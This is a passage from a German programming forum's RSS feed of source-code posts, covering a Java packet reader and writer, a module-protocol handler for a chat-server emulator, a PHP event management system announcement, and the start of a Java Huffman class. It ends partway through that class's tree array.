/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;string&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(</span><span style="color: #0000BB">true</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;in&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">chars</span><span style="color: #007700">=(</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">in</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">chars</span><span style="color: #007700">==</span><span style="color: #DD0000">'\0'&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">in</span><span style="color: #007700">==-</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">chars</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Gnome</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-packetreader-11060</guid>
		</item>
		<item>
			<title>EMS - Source</title>
			<link>sourcecode-91/ems-source-10955?goto=newpost</link>
			<pubDate>Mon, 16 Apr 2012 15:31:45 GMT</pubDate>
			<description>*EMS 
* 
_Event Management System 
_ 
 
Ihr wollt ein Event leiten, verliert aber schnell den Überblick über die Teilnehmer, wollt bestimmte Leute...</description>
			<content:encoded><![CDATA[<div><b><div style="text-align: center;"><font size="5">EMS</font></div></b><br />
<u><div style="text-align: center;"><font size="3">Event Management System</font></div></u><br />
<br />
Ihr wollt ein Event leiten, verliert aber schnell den Überblick über die Teilnehmer, wollt bestimmte Leute von diesem Event ausschließen oder nur eine gewissen Anzahl an Teilnehmern zulassen?<br />
Dann ist EMS genau das Richtige für euch!<br />
<br />
Mit EMS ist es möglich den Namen und die Beschreibung für ein Event zu bearbeiten und die Teilnehmer zu verwalten, jeder Teilnehmer kann sich ohne Anmeldung eintragen, aber ihr entscheidet, wer wirklich mitmachen darf.<br />
<br />
Ich habe außerdem eine Klasse zum Installieren, damit ihr keine Datenbank oder Tabellen importieren müsst, dadurch wird die Benutzung noch viel einfacher als bei meinen anderen Skripten.<br />
<br />
In diesem Projekt steckt viel Arbeit, es ist aber auch wirklich nützlich.<br />
<br />
Nun folgen nun ein paar Screenshots, um euch die Oberfläche zu zeigen.<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<br />
<img src="https://u-img.net/img/2335Hb.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/4335No.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/7335Qu.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/3336Hk.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/8336Rx.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/3336Uh.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/3336Kk.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/3337Cq.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/2337Qp.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/8337Qy.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/6337Pl.png" border="0" alt="" /><br />
<br />
<br />

</div>
</div>
</div><br />
<br />
<u>Wie installiere ich EMS?</u><br />
<br />
Verzeichnis entpacken, Dateien auf FTP-Server laden, der Datei install.php die Rechte 777 geben, die Datei install.php aufrufen, die erforderlichen Daten eingeben und nach der Installation die Datei install.php löschen.<br />
<br />
<u>Wie verwende ich EMS?</u><br />
<br />
Einloggen könnt ihr euch mit euren Admin-Account unter /ems/admin, sind die Daten richtig werdet ihr direkt zum Panel weitergeleitet, der Rest erklärt sich von selbst.<br />
<br />
Download: <a href="http://schmitz-dev.net/download.php" target="_blank" rel="nofollow">hier klicken</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">sourcecode-91/ems-source-10955</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Module Protocol]]></title>
			<link>sourcecode-91/java-module-protocol-10506?goto=newpost</link>
			<pubDate>Mon, 09 Apr 2012 01:38:19 GMT</pubDate>
			<description>Hab ich eigentlich für den KREmu/Banana-Chat geschrieben. Als Sky mich gestern danach gefragt hat fiel mir aber auf, dass man es auch gut in...</description>
			<content:encoded><![CDATA[<div>Hab ich eigentlich für den KREmu/Banana-Chat geschrieben. Als Sky mich gestern danach gefragt hat fiel mir aber auf, dass man es auch gut in Kombination mit Libraries verwenden kann.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Diese Klassen sind für das Module Protocol, um bspw. eine Toolbar anzuzeigen. Stammen aus dem K-Reverse Emulator, müssen für den Banana-Chat etwas angepasst werden.<br />
<br />
<b>ModuleTree.java</b><br />
Wo der Tree definiert ist, ist euch überlassen, bei mir wird er aus der Datenbank gelesen und dem Konstruktor übergeben.<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package kreverse.kremu;<br />
<br />
import java.util.ArrayList;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class ModuleTree {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private String tree;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private int version;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private byte startIndex;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private ArrayList&lt;String&gt; modules;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public ModuleTree(String tree) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.tree = tree;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] mdls = tree.split(&quot;;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; version = Integer.parseInt(mdls[0]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; startIndex = Byte.parseByte(mdls[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; modules = new ArrayList&lt;String&gt;();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 2; i &lt; mdls.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; modules.add(mdls[i]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String getTree() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return tree;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public int getVersion() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return version;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String getModule(int index) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return modules.get(index - startIndex);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public int getIndex(String module) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; modules.size(); i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (modules.get(i).equals(module)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return i + startIndex;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return -1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><b>ModuleHandler.java</b><br />
Dieser Handler (Opcode: q) wird auch von der Whois2 angesprochen, ist hier aber erstmal nur dafür zuständig, dass der Tree von Client und Server übereinstimmen (braucht man nur wenn man den Tree ständig aktualisiert, was meiner Meinung nach sinnlos ist).<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package kreverse.kremu.handler;<br />
<br />
import kreverse.kremu.Client;<br />
import kreverse.kremu.Server;<br />
import kreverse.kremu.tools.packet.PacketCreator;<br />
import kreverse.kremu.tools.packet.PacketReader;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class ModuleHandler {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private static String protocolConfirmed;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private static String changeProtocol;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; protocolConfirmed = PacketCreator.protocolConfirmed();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; changeProtocol = PacketCreator.changeProtocol();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public static void handle(PacketReader reader, Client client) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String module = Server.get().getModuleTree().getModule(reader.readShort());<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (module.equals(&quot;CONFIRM_PROTOCOL_HASH&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reader.readInt();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int version = reader.readInt();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Server.get().getModuleTree().getVersion() == version) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client.send(protocolConfirmed);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client.send(changeProtocol);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><b>PacketReader.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package kreverse.kremu.tools.packet;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class PacketReader {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private String buffer;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public PacketReader(String buffer) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.buffer = buffer;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public byte read() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte v = (byte) buffer.charAt(0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer = buffer.substring(1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return v;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public boolean readBoolean() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return read() != 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public short readShort() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return (short) (((read() &amp; 0xFF) &lt;&lt; 8)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + (read() &amp; 0xFF));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public int readInt() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return ((read() &amp; 0xFF) &lt;&lt; 24)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + ((read() &amp; 0xFF) &lt;&lt; 16)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + ((read() &amp; 0xFF) &lt;&lt; 8)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + (read() &amp; 0xFF);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String readString(int len) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String v = buffer.substring(0, len);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer = buffer.substring(len);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return v;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><b>PacketWriter.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package kreverse.kremu.tools.packet;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class PacketWriter {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private StringBuilder buffer;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public PacketWriter() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void write(int v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.append((char) v);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeBoolean(boolean v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v ? 1 : 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeShort(int v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v &gt;&gt; 8);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeInt(int v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v &gt;&gt; 24);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v &gt;&gt; 16);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v &gt;&gt; 8);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeString(String v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.append(v);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String toString() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return buffer.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><b>PacketCreator.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">[...]<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public static String protocolConfirmed() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PacketWriter packet = new PacketWriter();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(SendOpcode.MODULE.getValue());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.write(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeShort(Server.get().getModuleTree().getIndex(&quot;PROTOCOL_CONFIRMED&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return packet.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public static String changeProtocol() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PacketWriter packet = new PacketWriter();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(SendOpcode.MODULE.getValue());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.write(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeShort(Server.get().getModuleTree().getIndex(&quot;CHANGE_PROTOCOL&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeShort(Server.get().getModuleTree().getTree().length());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(Server.get().getModuleTree().getTree());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return packet.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
[...]</code><hr />
</div><b>SessionHandler.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">[...]<br />
<br />
else if (opcode.equals(ReceiveOpcode.MODULE.getValue())) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet = packet.substring(2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PacketReader reader = new PacketReader(packet);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ModuleHandler.handle(reader, this);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
[...]</code><hr />
</div>
			
		<hr />
	</div>
</div>Hab jetzt einfach mal mein Post auf Banana-Coding zitiert, wer es in Kombination mit einer Library oder für seine eigenen Networks nutzen möchte, der muss das ganze natürlich etwas umstrukturieren. Wer das hier versteht sollte damit aber keine großen Probleme haben.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-module-protocol-10506</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Huffman]]></title>
			<link>sourcecode-91/java-huffman-10504?goto=newpost</link>
			<pubDate>Mon, 09 Apr 2012 00:57:08 GMT</pubDate>
			<description>*Huffman.java* 
 
Code: 
--------- 
/** 
 * 
 * @author Flav 
 */ 
public class Huffman { 
	private static HuffmanEncoder encoder;</description>
			<content:encoded><![CDATA[<div><b>Huffman.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class Huffman {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private static HuffmanEncoder encoder;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private static HuffmanDecoder decoder;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String tree = new String(new char[] { 8, 121, 239, 124, 47, 115, 101, 114, 118, 101, 114, 112, 112, 32, 34, 30, 116, 116, 9, 68, 33, 101, 97, 34, 117, 100, 15, 131, 17, 1079, 18, 218, 18, 222, 16, 8364, 15, 8254, 15, 133, 33, 252, 114, 12, 200, 53, 83, 116, 101, 53, 101, 99, 107, 31, 48, 54, 95, 77, 97, 102, 105, 97, 34, 54, 55, 34, 78, 73, 34, 108, 98, 34, 111, 117, 6, 35, 5, 10, 4, 176, 31, 115, 105, 52, 112, 108, 97, 31, 116, 105, 52, 102, 111, 114, 8, 12, 53, 98, 111, 121, 11, 13, 53, 109, 97, 110, 33, 75, 108, 34, 57, 55, 34, 117, 98, 53, 117, 114, 103, 53, 107, 116, 101, 32, 79, 75, 32, 117, 101, 8, 98, 32, 111, 112, 33, 101, 118, 33, 79, 98, 54, 112, 101, 114, 33, 75, 111, 32, 77, 111, 93, 95, 176, 62, 95, 104, 8, 109, 31, 100, 105, 31, 114, 97, 11, 106, 15, 130, 18, 970, 18, 217, 17, 198, 16, 353, 15, 185, 16, 9644, 17, 201, 17, 248, 34, 53, 51, 34, 108, 104, 14, 8226, 14, 96, 31, 112, 121, 30, 49, 51, 30, 110, 110, 7, 227, 32, 114, 99, 200, 95, 110, 105, 99, 107, 108, 105, 115, 116, 95, 32, 101, 102, 53, 98, 114, 97, 31, 101, 101, 53, 116, 101, 110, 32, 110, 99, 52, 63, 100, 61, 32, 87, 111, 34, 55, 55, 13, 250, 33, 57, 52, 52, 105, 110, 103, 11, 14, 32, 48, 50, 31, 68, 101, 31, 97, 117, 33, 82, 117, 34, 111, 121, 34, 107, 109, 53, 101, 105, 103, 32, 69, 115, 33, 107, 115, 33, 79, 108, 8, 53, 9, 69, 31, 105, 105, 11, 22, 34, 109, 102, 34, 70, 111, 34, 115, 107, 16, 178, 17, 9565, 17, 158, 18, 64380, 18, 65185, 18, 65190, 18, 8217, 17, 281, 18, 64398, 18, 65270, 14, 21, 32, 69, 114, 54, 117, 115, 101, 33, 79, 110, 32, 111, 108, 33, 56, 57, 34, 107, 246, 34, 90, 101, 52, 97, 114, 116, 31, 114, 105, 8, 119, 32, 99, 111, 14, 25, 14, 196, 34, 67, 116, 33, 118, 97, 31, 98, 105, 52, 108, 105, 110, 32, 104, 114, 32, 105, 100, 32, 100, 111, 32, 110, 107, 32, 120, 120, 34, 119, 98, 14, 24, 16, 1082, 16, 205, 15, 139, 34, 112, 104, 34, 102, 119, 53, 110, 111, 99, 32, 119, 101, 52, 121, 101, 114, 31, 102, 101, 32, 107, 111, 32, 104, 116, 31, 109, 105, 53, 49, 48, 48, 32, 51, 49, 7, 51, 7, 108, 10, 87, 31, 102, 99, 34, 107, 252, 15, 1074, 16, 249, 18, 1171, 18, 8482, 17, 1072, 14, 180, 33, 105, 122, 32, 48, 57, 31, 66, 78, 30, 105, 109, 9, 1, 50, 0, 112, 0, 33, 75, 114, 34, 79, 111, 34, 101, 103, 53, 80, 117, 110, 32, 121, 108, 32, 101, 104, 32, 82, 111, 32, 83, 117, 33, 120, 101, 54, 104, 101, 108, 53, 104, 108, 116, 31, 101, 116, 31, 115, 109, 10, 77, 32, 112, 97, 32, 51, 56, 9, 122, 33, 70, 108, 33, 52, 56, 32, 117, 102, 53, 75, 110, 117, 32, 78, 105, 32, 104, 105, 34, 